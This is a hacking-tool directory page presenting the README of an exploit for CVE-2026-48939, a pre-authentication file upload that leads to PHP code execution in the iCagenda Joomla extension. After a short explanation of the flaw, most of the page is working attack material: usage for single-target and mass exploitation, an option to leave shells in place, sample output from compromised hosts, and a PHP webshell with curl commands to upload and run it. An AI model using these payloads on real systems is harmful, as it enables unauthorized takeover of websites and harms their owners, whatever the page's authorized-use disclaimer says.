Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-48939 — Pre-auth arbitrary file upload RCE exploit for iCagenda Joomla extension < 4.0.8 (CVSS 10.0) | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-48939
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-48939

CVE-2026-48939

Pre-auth arbitrary file upload RCE exploit for iCagenda Joomla extension < 4.0.8 (CVSS 10.0)

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-48939 — iCagenda Joomla RCE Exploit

Pre-Auth Arbitrary File Upload → PHP Code Execution


Overview

CVE-2026-48939 is a CVSS 10.0 critical vulnerability in the iCagenda events calendar extension for Joomla. The frontend event registration form's file attachment feature enforces access controls only at the view layer — not the controller — allowing unauthenticated file upload with no extension validation.

Uploaded files land directly under the web root at /images/icagenda/frontend/attachments/ and are immediately executable as PHP.

Affected Versions

iCagenda VersionStatus
3.2.1 – 3.9.14Vulnerable
4.0.0 – 4.0.7Vulnerable
3.9.15 / 4.0.8+Patched

Vulnerability Mechanism

Root Cause

The registration.submit controller processes file uploads without enforcing the "Registered Only" access restriction configured in the component settings. File attachments are written with their original extension without any allowlist, MIME type, or content validation.

root@kitploit:~
View Layer   → "Registered Only" enforced (attempts to block)
Controller   → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination  → Web-accessible directory → PHP executes directly

Attack Flow

root@kitploit:~
POST /index.php?option=com_icagenda&task=registration.submit
  jform[attachment] = shell.php  →  saved to /images/icagenda/frontend/attachments/

GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
  → PHP executed → RCE

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt

Usage

root@kitploit:~
# Single target
python cve_2026_48939.py -t target.com

# Mass exploit
python cve_2026_48939.py -f targets.txt

# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup

# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt

Arguments

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save RCE results to file
  --threads         Concurrent workers (default: 25)
  --no-cleanup      Leave shells on target
  -v, --verbose     Show detailed output

Proof of Concept

Exploitation

root@kitploit:~
$ python cve_2026_48939.py -t target.com -v
root@kitploit:~
  CVE-2026-48939 — iCagenda Joomla RCE Exploit
  CVSS 10.0 | Pre-Auth | File Upload → RCE

    [+] POST registration.submit (jform[attachment]): HTTP 200
    [+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php

  Host     : target.com
  iCagenda : YES v4.0.5
  Vuln     : YES
  RCE      : YES
  Shell    : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
  Output   : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
  Time     : 3.2s

Mass Exploit Output

root@kitploit:~
  CVE-2026-48939 iCagenda RCE Exploit
  Targets: 500 | Threads: 25 | Cleanup: ON
  -------------------------------------------------------

  [RCE]  target-1.com     v4.0.5    3.2s
         uid=1001(www-data) gid=1001(www-data)
  [RCE]  target-2.com     v3.9.12   4.1s
         uid=33(www-data) gid=33(www-data)

  -------------------------------------------------------
  Total: 500 | iCagenda: 23 | RCE: 8
  -------------------------------------------------------

Manual Exploitation

Step 1 — Upload PHP webshell

root@kitploit:~
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF

curl -sk -X POST \
  -F "title=Event" \
  -F "jform[attachment][email protected];type=application/x-php" \
  "https://target.com/index.php?option=com_icagenda&task=registration.submit"

Step 2 — Execute commands

root@kitploit:~
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.

Unauthorized access to computer systems is illegal and may violate:

  • United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonesia: UU ITE Pasal 30 & 46
  • European Union: Directive 2013/40/EU
  • United Kingdom: Computer Misuse Act 1990

The authors assume no liability for misuse.


References

ResourceLink
IONIX Advisoryionix.io/threat-center/cve-2026-48939
NVD EntryCVE-2026-48939
iCagenda Changelogicagenda.com/docs

This project is not affiliated with iCagenda or Joomlic.

Download Tool